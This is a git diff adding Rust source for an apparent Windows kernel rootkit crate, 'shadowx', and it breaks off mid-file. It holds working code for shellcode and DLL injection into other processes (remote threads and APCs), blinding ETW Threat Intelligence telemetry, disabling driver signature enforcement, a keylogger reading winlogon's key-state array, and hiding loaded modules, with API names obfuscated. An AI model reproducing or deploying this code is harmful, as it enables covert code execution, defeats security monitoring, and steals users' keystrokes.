This error is returned when the system fails to convert a raw pointer to a string, + /// typically during Unicode or ANSI string conversions. + /// + /// * `{0}` - The memory address of the raw pointer that failed to convert. + #[error("Failed to convert string from raw pointer at {0}")] + StringConversionFailed(usize), + + /// Represents an error where a specific module was not found. + /// + /// This error occurs when a module (e.g., a DLL or driver) with the specified name + /// cannot be found in the system. + /// + /// * `{0}` - The name of the module that was not found. + #[error("Module {0} not found")] + ModuleNotFound(String), + + /// Represents an error where a driver with a specific name was not found. + /// + /// This error occurs when a driver with the given name cannot be found in the + /// system's loaded drivers list. + /// + /// * `{0}` - The name of the driver that was not found. + #[error("Driver {0} not found")] + DriverNotFound(String), + + /// Represents an error where a pattern scan failed to locate a required pattern in memory. + /// + /// This error occurs when a memory pattern scan fails to match the expected byte sequence. + #[error("Pattern not found")] + PatternNotFound, + + /// Represents an error where a function could not be found in the specified module. + /// + /// This error occurs when a named function is not found in a given module (DLL). + /// + /// * `{0}` - The name of the function that was not found. + #[error("Function {0} not found in module")] + FunctionNotFound(String), + + /// Represents an unknown failure in the system. + /// + /// This is a generic catch-all error for unexpected failures. It includes the name of + /// the failing operation and the line number where the failure occurred. + /// + /// * `{0}` - The operation that failed. + /// * `{1}` - The line number where the failure occurred. + #[error("Unknown failure in {0}, at line {1}")] + UnknownFailure(&'static str, u32), + + /// Represents an error when installing or uninstalling a hook on the Nsiproxy driver. + /// + /// This error occurs when the system fails to install or remove a hook on the Nsiproxy driver. + #[error("Error handling hook on Nsiproxy driver")] + HookFailure, + + /// Represents an error when a buffer is too small to complete an operation. + /// + /// This error occurs when the provided buffer is not large enough to hold the expected + /// data, resulting in an operation failure. + #[error("Small buffer")] + BufferTooSmall, + + /// Error indicating that a callback could not be found. + /// + /// This occurs when the system is unable to locate the expected callback function. + #[error("Error searching for the callback")] + CallbackNotFound, + + /// Error indicating that a target with a specific index was not found. + /// + /// This occurs when an operation fails to locate an item by its index in a list or array. + /// + /// # Fields + /// + /// * `{0}` - The index of the target that was not found. + #[error("Target not found with index: {0}")] + IndexNotFound(usize), + + /// Error indicating that a failure occurred while removing a callback. + /// + /// This occurs when the system fails to remove a callback that was previously registered. + #[error("Error removing a callback")] + RemoveFailureCallback, + + /// Error indicating that a failure occurred while restoring a callback. + /// + /// This occurs when the system fails to restore a previously removed callback. + #[error("Error restoring a callback")] + RestoringFailureCallback, +} + +impl ShadowError { + /// Helper function to create a `ProcessNotFound` error from any type that can be converted into a `String`. + pub fn process_not_found>(id: T) -> Self { + ShadowError::ProcessNotFound(id.into()) + } +} \ No newline at end of file diff --git a/crates/shadowx/src/injection.rs b/crates/shadowx/src/injection.rs new file mode 100644 index 0000000..779ba04 --- /dev/null +++ b/crates/shadowx/src/injection.rs @@ -0,0 +1,389 @@ +#![allow(non_snake_case)] + +use { + obfstr::obfstr, + wdk_sys::{ + *, + ntddk::*, + _MODE::{KernelMode, UserMode} + }, + core::{ + ffi::c_void, ptr::null_mut, + mem::transmute + }, + crate::{ + *, + pool::PoolMemory, + error::ShadowError, + patterns::find_zw_function, + handle::Handle, file::read_file, + KAPC_ENVIROMENT::OriginalApcEnvironment, + }, +}; + +/// Represents shellcode injection operations. +/// +/// The `Shellcode` struct provides methods for injecting shellcode into a target process +/// by allocating memory, copying shellcode, and creating a remote thread in the process. +pub struct Shellcode; + +impl Shellcode { + /// Injects shellcode into a target process using `NtCreateThreadEx`. + /// + /// This function performs the following steps: + /// 1. Opens the target process with all access rights. + /// 2. Allocates memory in the target process for the shellcode. + /// 3. Copies the shellcode from the current process into the allocated memory. + /// 4. Changes the memory protection to allow execution. + /// 5. Creates a new thread in the target process to execute the shellcode. + /// + /// # Arguments + /// + /// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected. + /// * `path` - The file path to the shellcode to be injected, which will be read into memory. + /// + /// # Returns + /// + /// * `Ok(STATUS_SUCCESS)` - If the injection is successful. + /// * `Err(ShadowError)` - If any step in the injection process fails, such as: + /// - Opening the process (`ZwOpenProcess` failure), + /// - Allocating virtual memory in the target process (`ZwAllocateVirtualMemory` failure), + /// - Protecting virtual memory (`ZwProtectVirtualMemory` failure), + /// - Creating the thread in the target process (`ZwCreateThreadEx` failure). + pub unsafe fn injection_thread(pid: usize, path: &str) -> Result { + // Find the address of NtCreateThreadEx to create a thread in the target process + let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx"))? as *mut c_void; + + // Retrieve the EPROCESS structure for the target process + let target_eprocess = Process::new(pid)?; + + // Open the target process with all access rights + let mut client_id = CLIENT_ID { + UniqueProcess: pid as _, + UniqueThread: null_mut(), + }; + let mut h_process: HANDLE = null_mut(); + let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); + let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status)); + } + + // Wrap the process handle in a safe Handle type + let h_process = Handle::new(h_process); + + // Read the shellcode from the provided file path + let shellcode = read_file(path)?; + + // Allocate memory in the target process for the shellcode + let mut region_size = shellcode.len() as u64; + let mut base_address = null_mut(); + status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status)); + } + + // Copy the shellcode into the allocated memory in the target process + let mut result_number = 0; + MmCopyVirtualMemory( + IoGetCurrentProcess(), + shellcode.as_ptr() as _, + target_eprocess.e_process, + base_address, + shellcode.len() as u64, + KernelMode as i8, + &mut result_number, + ); + + // Change the memory protection to allow execution of the shellcode + let mut old_protect = 0; + status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwProtectVirtualMemory", status)); + } + + // Create a thread in the target process to execute the shellcode + let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr); + let mut h_thread = null_mut(); + let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); + status = ZwCreateThreadEx( + &mut h_thread, + THREAD_ALL_ACCESS, + &mut obj_attr, + h_process.get(), + transmute(base_address), + null_mut(), + 0, + 0, + 0, + 0, + null_mut() + ); + + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwCreateThreadEx", status)); + } + + // Close the thread handle after creation + ZwClose(h_thread); + + Ok(STATUS_SUCCESS) + } + + /// Injects shellcode into a target process using Asynchronous Procedure Call (APC). + /// + /// This function performs the following steps: + /// 1. Finds an alertable thread in the target process. + /// 2. Allocates memory in the target process for the shellcode. + /// 3. Copies the shellcode from the current process to the target process. + /// 4. Initializes two APCs (kernel and user). + /// 5. Queues the APCs into the alertable thread of the target process. + /// + /// # Arguments + /// + /// * `pid` - The process identifier (PID) of the target process where the shellcode will be injected. + /// * `path` - The file path to the shellcode that will be injected into the target process. + /// + /// # Returns + /// + /// * `Ok(STATUS_SUCCESS)` - If the shellcode injection is successful. + /// * `Err(ShadowError)` - If any of the following steps fail: + /// - Finding an alertable thread (`find_thread_alertable`), + /// - Opening the process (`ZwOpenProcess` failure), + /// - Allocating memory in the target process (`ZwAllocateVirtualMemory` failure), + /// - Queuing the APC (`KeInsertQueueApc` failure). + pub unsafe fn injection_apc(pid: usize, path: &str) -> Result { + // Read the shellcode from the provided file path + let shellcode = read_file(path)?; + + // Find an alertable thread in the target process + let thread_id = find_thread_alertable(pid)?; + + // Open the target process + let target_eprocess = Process::new(pid)?; + let mut h_process: HANDLE = null_mut(); + let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); + let mut client_id = CLIENT_ID { + UniqueProcess: pid as _, + UniqueThread: null_mut(), + }; + let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status)); + } + + // Wrap the process handle in a safe Handle type + let h_process = Handle::new(h_process); + + // Allocate memory in the target process for the shellcode + let mut base_address = null_mut(); + let mut region_size = shellcode.len() as u64; + status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status)); + } + + // Copy the shellcode into the target process's memory + let mut result_number = 0; + MmCopyVirtualMemory( + IoGetCurrentProcess(), + shellcode.as_ptr() as _, + target_eprocess.e_process, + base_address, + shellcode.len() as u64, + KernelMode as i8, + &mut result_number, + ); + + // Allocate memory for kernel and user APC objects + let user_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::() as u64, u32::from_be_bytes(*b"krts")) + .map(|mem: PoolMemory| { + let ptr = mem.ptr as *mut _KAPC; + core::mem::forget(mem); + ptr + }) + .ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?; + + let kernel_apc = PoolMemory::new(POOL_FLAG_NON_PAGED, size_of::() as u64, u32::from_be_bytes(*b"urds")) + .map(|mem: PoolMemory| { + let ptr = mem.ptr as *mut _KAPC; + core::mem::forget(mem); + ptr + }) + .ok_or(ShadowError::FunctionExecutionFailed("PoolMemory", line!()))?; + + // Initialize the kernel APC + KeInitializeApc( + kernel_apc, + thread_id, + OriginalApcEnvironment, + kernel_apc_callback, + None, + None, + KernelMode as i8, + null_mut() + ); + + // Initialize the user APC with the shellcode + KeInitializeApc( + user_apc, + thread_id, + OriginalApcEnvironment, + user_apc_callback, + None, + transmute::<_, PKNORMAL_ROUTINE>(base_address), + UserMode as i8, + null_mut() + ); + + // Insert the user APC into the queue + if !KeInsertQueueApc(user_apc, null_mut(), null_mut(), 0) { + return Err(ShadowError::FunctionExecutionFailed("KeInsertQueueApc", line!())) + } + + // Insert the kernel APC into the queue + if !KeInsertQueueApc(kernel_apc, null_mut(), null_mut(), 0) { + return Err(ShadowError::FunctionExecutionFailed("KeInsertQueueApc", line!())) + } + + Ok(STATUS_SUCCESS) + } +} + +/// Represents dll injection operations. +/// +/// The `DLL` struct provides methods for injecting DLL into a target process +/// using either `NtCreateThreadEx` +pub struct DLL; + +impl DLL { + /// Injects a DLL into a target process by creating a remote thread that calls `LoadLibraryA`. + /// + /// This function opens the target process, allocates memory for the DLL path, and creates a remote thread + /// in the target process to load the DLL using `LoadLibraryA`. + /// + /// # Arguments + /// + /// * `pid` - The process identifier (PID) of the target process where the DLL will be injected. + /// * `path` - The file path to the DLL that will be injected. + /// + /// # Returns + /// + /// * `Ok(STATUS_SUCCESS)` - If the injection is successful. + /// * `Err(ShadowError)` - If any step, such as opening the process, memory allocation, or thread creation, fails. + pub unsafe fn injection_dll_thread(pid: usize, path: &str) -> Result { + // Find the address of NtCreateThreadEx to create a thread in the target process + let zw_thread_addr = find_zw_function(obfstr!("NtCreateThreadEx"))?; + + // Find the address of LoadLibraryA in kernel32.dll + let function_address = get_module_peb(pid, obfstr!("kernel32.dll"),obfstr!("LoadLibraryA"))?; + + // Open the target process + let target_eprocess = Process::new(pid)?; + let mut h_process: HANDLE = null_mut(); + let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); + let mut client_id = CLIENT_ID { + UniqueProcess: pid as _, + UniqueThread: null_mut(), + }; + let mut status = ZwOpenProcess(&mut h_process, PROCESS_ALL_ACCESS, &mut obj_attr, &mut client_id); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status)); + } + + // Wrap the process handle in a safe Handle type + let h_process = Handle::new(h_process); + + // Allocate memory in the target process for the DLL path + let mut base_address = null_mut(); + let mut region_size = (path.len() * size_of::()) as u64; + status = ZwAllocateVirtualMemory(h_process.get(), &mut base_address, 0, &mut region_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwAllocateVirtualMemory", status)); + } + + // Copy the DLL path into the target process's memory + let mut result_number = 0; + MmCopyVirtualMemory( + IoGetCurrentProcess(), + path.as_ptr() as _, + target_eprocess.e_process, + base_address, + (path.len() * size_of::()) as u64, + KernelMode as i8, + &mut result_number, + ); + + // Change the memory protection to executabl + let mut old_protect = 0; + status = ZwProtectVirtualMemory(h_process.get(), &mut base_address, &mut region_size, PAGE_EXECUTE_READ, &mut old_protect); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwProtectVirtualMemory", status)); + } + + // Create a thread in the target process to load the DLL + let ZwCreateThreadEx = transmute::<_, ZwCreateThreadExType>(zw_thread_addr); + let mut h_thread = null_mut(); + let mut obj_attr = InitializeObjectAttributes(None, 0, None, None, None); + status = ZwCreateThreadEx( + &mut h_thread, + THREAD_ALL_ACCESS, + &mut obj_attr, + h_process.get(), + transmute(function_address), + base_address, + 0, + 0, + 0, + 0, + null_mut() + ); + if !NT_SUCCESS(status) { + return Err(ShadowError::ApiCallFailed("ZwCreateThreadEx", status)); + } + + // Close the handle to the thread + ZwClose(h_thread); + + Ok(STATUS_SUCCESS) + } +} + + +/// Kernel APC callback function. +/// +/// This callback is triggered when the kernel APC is executed. +/// It ensures that the thread is alertable and then frees the allocated APC structure. +pub unsafe extern "system" fn kernel_apc_callback( + apc: PKAPC, + _normal_routine: *mut PKNORMAL_ROUTINE, + _normal_context: *mut PVOID, + _system_argument1: *mut PVOID, + _system_argument2: *mut PVOID +) { + // Ensure the thread is alertable in user mode + KeTestAlertThread(UserMode as i8); + + // Free the APC object + ExFreePool(apc as _) +} + +/// User APC callback function. +/// +/// This callback is triggered when the user APC is executed. +/// It checks if the thread is terminating and frees the APC structure when done. +pub unsafe extern "system" fn user_apc_callback( + apc: PKAPC, + normal_routine: *mut PKNORMAL_ROUTINE, + _normal_context: *mut PVOID, + _system_argument1: *mut PVOID, + _system_argument2: *mut PVOID +) { + // Check if the current thread is terminating and prevent the shellcode from executing + if PsIsThreadTerminating(PsGetCurrentThread()) == 1 { + *normal_routine = None; + } + + // Free the APC object + ExFreePool(apc as _) +} \ No newline at end of file diff --git a/crates/shadowx/src/lib.rs b/crates/shadowx/src/lib.rs new file mode 100644 index 0000000..bff5924 --- /dev/null +++ b/crates/shadowx/src/lib.rs @@ -0,0 +1,42 @@ +#![no_std] +#![allow(unused_must_use)] +#![allow(unused_variables)] + +extern crate alloc; + +mod process; +pub use process::*; + +mod thread; +pub use thread::*; + +mod injection; +pub use injection::*; + +mod module; +pub use module::*; + +mod misc; +pub use misc::*; + +mod driver; +pub use driver::*; + +pub mod port; +pub use port::*; + +pub mod error; + +pub mod data; +pub use data::*; + +pub mod registry; +pub use registry::*; + +pub mod callback; +pub use callback::*; + +pub mod utils; +pub use utils::*; + +mod offsets; \ No newline at end of file diff --git a/crates/shadowx/src/misc.rs b/crates/shadowx/src/misc.rs new file mode 100644 index 0000000..ad2a131 --- /dev/null +++ b/crates/shadowx/src/misc.rs @@ -0,0 +1,177 @@ +use { + obfstr::obfstr, + core::{ffi::c_void, ptr::null_mut}, + wdk_sys::{ + *, ntddk::*, + _MODE::UserMode, + _MEMORY_CACHING_TYPE::MmCached, + _MM_PAGE_PRIORITY::NormalPagePriority, + }, + crate::{ + uni, Process, + TRACE_ENABLE_INFO, + error::ShadowError, + get_process_by_name, + process_attach::ProcessAttach, + patterns::{ETWTI_PATTERN, scan_for_pattern}, + address::{get_function_address, get_module_base_address}, + } +}; + +/// Represents ETW (Event Tracing for Windows) in the operating system. +/// +/// The `Etw` struct provides methods for interacting with and manipulating +/// the ETW framework, including enabling or disabling ETW tracing through the ETWTI structure. +pub struct Etw; + +impl Etw { + /// Enables or disables ETW (Event Tracing for Windows) tracing by modifying the ETWTI structure. + /// + /// This function scans for the ETWTI (Event Tracing for Windows Threat Intelligence) structure + /// and adjusts the `IsEnabled` field to either enable or disable ETW tracing. It uses a pattern + /// search to locate the ETWTI structure in memory. + /// + /// # Arguments + /// + /// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) ETW tracing. + /// + /// # Returns + /// + /// * `Ok(NTSTATUS)` - If the operation is successful. + /// * `Err(ShadowError)` - If any error occurs while finding the function or modifying the ETWTI structure. + pub unsafe fn etwti_enable_disable(enable: bool) -> Result { + // Convert function name to Unicode string for lookup + let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode(); + + // Get the system routine address for the function + let function_address = MmGetSystemRoutineAddress(&mut function_name); + + // Scan for the ETWTI structure using a predefined pattern + let etwi_handle = scan_for_pattern(function_address, &ETWTI_PATTERN, 5, 9, 0x1000)?; + + // Calculate the offset to the TRACE_ENABLE_INFO structure and modify the IsEnabled field + let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO; + (*trace_info).IsEnabled = if enable { 0x01 } else { 0x00 }; + + Ok(STATUS_SUCCESS) + } +} + +/// Represents Driver Signature Enforcement (DSE) in the operating system. +/// +/// The `Dse` struct provides functionality to manipulate the state of DSE, +/// which is responsible for enforcing the signature requirement on kernel-mode drivers. +pub struct Dse; + +impl Dse { + /// Modifies the Driver Signature Enforcement (DSE) state. + /// + /// This function locates the `g_ciOptions` structure in memory, which controls the DSE state, and modifies it to either enable or disable + /// driver signature enforcement. + /// + /// # Arguments + /// + /// * `enable` - A boolean flag indicating whether to enable (`true`) or disable (`false`) driver signature enforcement. + /// + /// # Returns + /// + /// * `Ok(NTSTATUS)` - If the operation is successful. + /// * `Err(ShadowError)` - If the function fails to find or modify the DSE state. + pub unsafe fn set_dse_state(enable: bool) -> Result { + // Get the base address of the CI.dll module, where the relevant function resides + let module_address = get_module_base_address(obfstr!("CI.dll"))?; + + // Get the address of the CiInitialize function within CI.dll + let function_address = get_function_address(obfstr!("CiInitialize"), module_address)?; + + // Search for the memory pattern that represents the initialization of DSE + let instructions = [0x8B, 0xCD]; + let c_ip_initialize = scan_for_pattern(function_address, &instructions, 3, 7, 0x89)?; + + // Locate the g_ciOptions structure based on a pattern in the CiInitialize function + let instructions = [0x49, 0x8b, 0xE9]; + let g_ci_options = scan_for_pattern(c_ip_initialize as _, &instructions, 5, 9, 0x21)?; + + // Modify g_ciOptions to either enable or disable DSE based on the input flag + if enable { + *(g_ci_options as *mut u64) = 0x0006_u64; + } else { + *(g_ci_options as *mut u64) = 0x000E_u64; + } + + Ok(STATUS_SUCCESS) + } +} + +/// Represents keylogger operations in the system. +/// +/// The `Keylogger` struct provides methods to retrieve and map memory for tracking key states +/// by interacting with the `gafAsyncKeyState` array in the `winlogon.exe` process. +pub struct Keylogger; + +impl Keylogger { + /// Retrieves the address of the `gafAsyncKeyState` array in the `winlogon.exe` process and maps it to user-mode. + /// + /// This function finds the process ID of `winlogon.exe`, attaches to the process, retrieves the address of the `gafAsyncKeyState` array, + /// and maps it into the user-mode address space for the process. + /// + /// # Returns + /// + /// * `Ok(*mut c_void)` - If successful, returns a pointer to the mapped user-mode address of `gafAsyncKeyState`. + /// * `Err(ShadowError)` - If any error occurs while finding the address or mapping memory. + pub unsafe fn get_user_address_keylogger() -> Result<*mut c_void, ShadowError> { + // Get the PID of winlogon.exe + let pid = get_process_by_name(obfstr!("winlogon.exe"))?; + + // Attach to the winlogon.exe process + let winlogon_process = Process::new(pid)?; + let attach_process = ProcessAttach::new(winlogon_process.e_process); + + // Retrieve the address of gafAsyncKeyState + let gaf_async_key_state_address = Self::get_gafasynckeystate_address()?; + + // Validate the address before proceeding + if MmIsAddressValid(gaf_async_key_state_address as *mut c_void) == 0 { + return Err(ShadowError::FunctionExecutionFailed("MmIsAddressValid", line!())) + } + + // Allocate an MDL (Memory Descriptor List) to manage the memory + let mdl = IoAllocateMdl(gaf_async_key_state_address as _, size_of::<[u8; 64]>() as u32, 0, 0, null_mut()); + if mdl.is_null() { + return Err(ShadowError::FunctionExecutionFailed("IoAllocateMdl", line!())) + } + + // Build the MDL for the non-paged pool + MmBuildMdlForNonPagedPool(mdl); + + // Map the locked pages into user-mode address space + let address = MmMapLockedPagesSpecifyCache(mdl, UserMode as i8, MmCached, null_mut(), 0, NormalPagePriority as u32); + if address.is_null() { + IoFreeMdl(mdl); + return Err(ShadowError::FunctionExecutionFailed("MmMapLockedPagesSpecifyCache", line!())) + } + + Ok(address) + } + + /// Retrieves the address of the `gafAsyncKeyState` array. + /// + /// This function uses a pattern search to locate the `gafAsyncKeyState` array in the `win32kbase.sys` module. + /// + /// # Returns + /// + /// * `Ok(*mut u8)` - Returns a pointer to the `gafAsyncKeyState` array if found. + /// * `Err(ShadowError)` - If the array is not found or an error occurs during the search. + unsafe fn get_gafasynckeystate_address() -> Result<*mut u8, ShadowError> { + // Get the base address of win32kbase.sys + let module_address = get_module_base_address(obfstr!("win32kbase.sys"))?; + + // Get the address of the NtUserGetAsyncKeyState function + let function_address = get_function_address(obfstr!("NtUserGetAsyncKeyState"), module_address)?; + + // Search for the pattern that identifies the gafAsyncKeyState array + // fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)] + let pattern = [0x48, 0x8B, 0x05]; + scan_for_pattern(function_address, &pattern, 3, 7, 0x200) + } +} diff --git a/crates/shadowx/src/module.rs b/crates/shadowx/src/module.rs new file mode 100644 index 0000000..6fd9256 --- /dev/null +++ b/crates/shadowx/src/module.rs @@ -0,0 +1,244 @@ +use { + wdk_sys::*, + alloc::vec::Vec, + winapi::shared::ntdef::LIST_ENTRY, + ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB}, +}; + +use crate::{ + process::Process, + error::ShadowError, + data::{ + MMVAD_SHORT, MMVAD, + PsGetProcessPeb + }, + offsets::get_vad_root, + utils::process_attach::ProcessAttach +}; + +#[derive(Debug)] +pub struct ModuleInfo { + pub name: [u16; 256], + pub address: usize, + pub index: u8, +} + +/// Represents a module in the operating system. +pub struct Module; + +impl Module { + + /// VAD Type for an image map. + const VAD_IMAGE_MAP: u32 = 2; + + /// Enumerates modules in a given target process. + /// + /// # Arguments + /// + /// * `process` - A pointer to the target process (`*mut TargetProcess`) from which the modules will be enumerated. + /// * `module_info` - A pointer to a `ModuleInfo` structure that will be populated with information about the enumerated modules. + /// * `information` - A mutable reference to a `usize` that will store additional information about the module enumeration. + /// + /// # Returns + /// + /// * `NTSTATUS` - Returns `STATUS_SUCCESS` if the module enumeration is successful, otherwise returns an appropriate error status. + pub unsafe fn enumerate_module(pid: usize) -> Result, ShadowError> { + let mut modules: Vec = Vec::with_capacity(276); + + // Attaches the target process to the current context + let target = Process::new(pid)?; + let mut attach_process = ProcessAttach::new(target.e_process); + + // Gets the PEB (Process Environment Block) of the target process + let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; + if target_peb.is_null() || (*target_peb).Ldr.is_null() { + return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!())); + } + + // Enumerates the loaded modules from the InLoadOrderModuleList + let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY; + let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink; + let mut count = 0; + + while next != current { + if next.is_null() { + return Err(ShadowError::NullPointer("LIST_ENTRY")); + } + + let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; + if list_entry.is_null() { + return Err(ShadowError::NullPointer("LDR_DATA_TABLE_ENTRY")); + } + + // Get the module name from the `FullDllName` field, converting it from UTF-16 to a Rust string + let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize); + if buffer.is_empty() { + return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize)); + } + + let mut name = [0u16; 256]; + let length = core::cmp::min(buffer.len(), 255); + name[..length].copy_from_slice(&buffer[..length]); + + // Populates the `ModuleInfo` structure with name, address, and index + modules.push(ModuleInfo { + name, + address: (*list_entry).DllBase as usize, + index: count as u8, + }); + + count += 1; + + // Move to the next module in the list + next = (*next).Flink; + } + + // Detaches the target process + attach_process.detach(); + + Ok(modules) + } + + /// Hides a module in a target process by removing its entries from the module list. + /// + /// # Arguments + /// + /// * `target` - A pointer to a `TargetModule` structure containing information about the module to be hidden. + /// + /// # Returns + /// + /// * `Ok(NTSTATUS)` - If the module is successfully hidden. + /// * `Err(ShadowError)` - If an error occurs when trying to hide the module. + pub unsafe fn hide_module(pid: usize, module_name: &str) -> Result { + let target = Process::new(pid)?; + let mut attach_process = ProcessAttach::new(target.e_process); + + let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB; + if target_peb.is_null() || (*target_peb).Ldr.is_null() { + return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!())); + } + + let current = &mut (*(*target_peb).Ldr).InLoadOrderModuleList as *mut LIST_ENTRY; + let mut next = (*(*target_peb).Ldr).InLoadOrderModuleList.Flink; + let mut address = core::ptr::null_mut(); + + while next != current { + if next.is_null() { + return Err(ShadowError::NullPointer("next LIST_ENTRY")); + } + + let list_entry = next as *mut LDR_DATA_TABLE_ENTRY; + if list_entry.is_null() { + return Err(ShadowError::NullPointer("next LDR_DATA_TABLE_ENTRY")); + } + + let buffer = core::slice::from_raw_parts((*list_entry).FullDllName.Buffer, ((*list_entry).FullDllName.Length / 2) as usize); + if buffer.is_empty() { + return Err(ShadowError::StringConversionFailed((*list_entry).FullDllName.Buffer as usize)); + } + + // Check if the module name matches + let dll_name = alloc::string::String::from_utf16_lossy(buffer); + if dll_name.to_lowercase() == module_name.to_lowercase() { + + // Removes the module from the load order list + Self::remove_link(&mut (*list_entry).InLoadOrderLinks); + Self::remove_link(&mut (*list_entry).InMemoryOrderLinks); + Self::remove_link(&mut (*list_entry).u1.InInitializationOrderLinks); + Self::remove_link(&mut (*list_entry).HashLinks); + address = (*list_entry).DllBase; + break; + } + + next = (*next).Flink; + } + + // Detaches the target process + attach_process.detach(); + + if !address.is_null() { + Self::hide_object(address as u64, target); + } + + Ok(STATUS_SUCCESS) + } + + /// Removing the module name in the FILE_OBJECT structure. + /// + /// # Arguments + /// + /// * `target_address` - The address of the module to hide. + /// * `process` - The target process structure. + /// + /// # Returns + /// + /// * `NTSTATUS` - Returns `STATUS_SUCCESS` if the VAD is successfully hidden, otherwise returns an appropriate error status. + pub unsafe fn hide_object(target_address: u64, process: Process) -> Result<(), NTSTATUS> { + let vad_root = get_vad_root(); + let vad_table = process.e_process.cast::().offset(vad_root as isize) as *mut RTL_BALANCED_NODE; + + // Uses a stack to iteratively traverse the tree + let mut stack = alloc::vec![vad_table]; + while let Some(current_node) = stack.pop() { + if current_node.is_null() { + continue; + } + + // Converts the current node to an MMVAD_SHORT + let vad_short = current_node as *mut MMVAD_SHORT; + + // Calculates start and end addresses + let mut start_address = (*vad_short).StartingVpn as u64; + let mut end_address = (*vad_short).EndingVpn as u64; + + // Uses StartingVpnHigh and EndingVpnHigh to assemble the complete address + start_address |= ((*vad_short).StartingVpnHigh as u64) << 32; + end_address |= ((*vad_short).EndingVpnHigh as u64) << 32; + + // Multiply the addresses by 0x1000 (page size) to get the real addresses + let start_address = start_address * 0x1000; + let end_address = end_address * 0x1000; + + if (*vad_short).u.VadFlags.VadType() == Self::VAD_IMAGE_MAP && target_address >= start_address && target_address <= end_address { + let long_node = vad_short as *mut MMVAD; + + let subsection = (*long_node).SubSection; + if subsection.is_null() || (*subsection).ControlArea.is_null() || (*(*subsection).ControlArea).FilePointer.Inner.Object.is_null() { + return Err(STATUS_INVALID_ADDRESS); + } + + let file_object = ((*(*subsection).ControlArea).FilePointer.Inner.Value & !0xF) as *mut FILE_OBJECT; + core::ptr::write_bytes((*file_object).FileName.Buffer, 0, (*file_object).FileName.Length as usize); + break; + } + + // Stack the right node (if there is one) + if !(*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Right.is_null() { + stack.push((*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Right); + } + + // Stack the left node (if there is one) + if !(*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Left.is_null() { + stack.push((*vad_short).VadNode.__bindgen_anon_1.__bindgen_anon_1.Left); + } + } + + Ok(()) + } + + /// Removes a link from the list. + /// + /// # Arguments + /// + /// * `list` - A mutable reference to the `LIST_ENTRY` structure to unlink. + unsafe fn remove_link(list: &mut LIST_ENTRY) { + let next = list.Flink; + let previous = list.Blink; + + (*next).Blink = previous; + (*previous).Flink = next; + + list.Flink = list; + list.Blink = list; + } +} diff --git a/crates/shadowx/src/offsets.rs b/crates/shadowx/src/offsets.rs new file mode 100644 index 0000000..1181a36 --- /dev/null +++ b/crates/shadowx/src/offsets.rs @@ -0,0 +1,189 @@ +use spin::Lazy; +use wdk_sys::{ntddk::RtlGetVersion, RTL_OSVERSIONINFOW}; + +/// Constant values for Windows build numbers. +const WIN_1507: u32 = 10240; +const WIN_1511: u32 = 10586; +const WIN_1607: u32 = 14393; +const WIN_1703: u32 = 15063; +const WIN_1709: u32 = 16299; +const WIN_1803: u32 = 17134; +const WIN_1809: u32 = 17763; +const WIN_1903: u32 = 18362; +const WIN_1909: u32 = 18363; +const WIN_2004: u32 = 19041; +const WIN_20H2: u32 = 19042; +const WIN_21H1: u32 = 19043; +const WIN_21H2: u32 = 19044; +const WIN_22H2: u32 = 19045; + +/// Constant values for Windows build numbers (Not currently used) +#[allow(dead_code)] +const WIN_1121H2: u32 = 22000; +#[allow(dead_code)] +const WIN_1122H2: u32 = 22621; + +/// Holds the Windows build number initialized at runtime. +/// +/// This value is fetched using the `get_windows_build_number` function, +/// which utilizes the `RtlGetVersion` API from the Windows kernel. +static BUILD_NUMBER: Lazy = 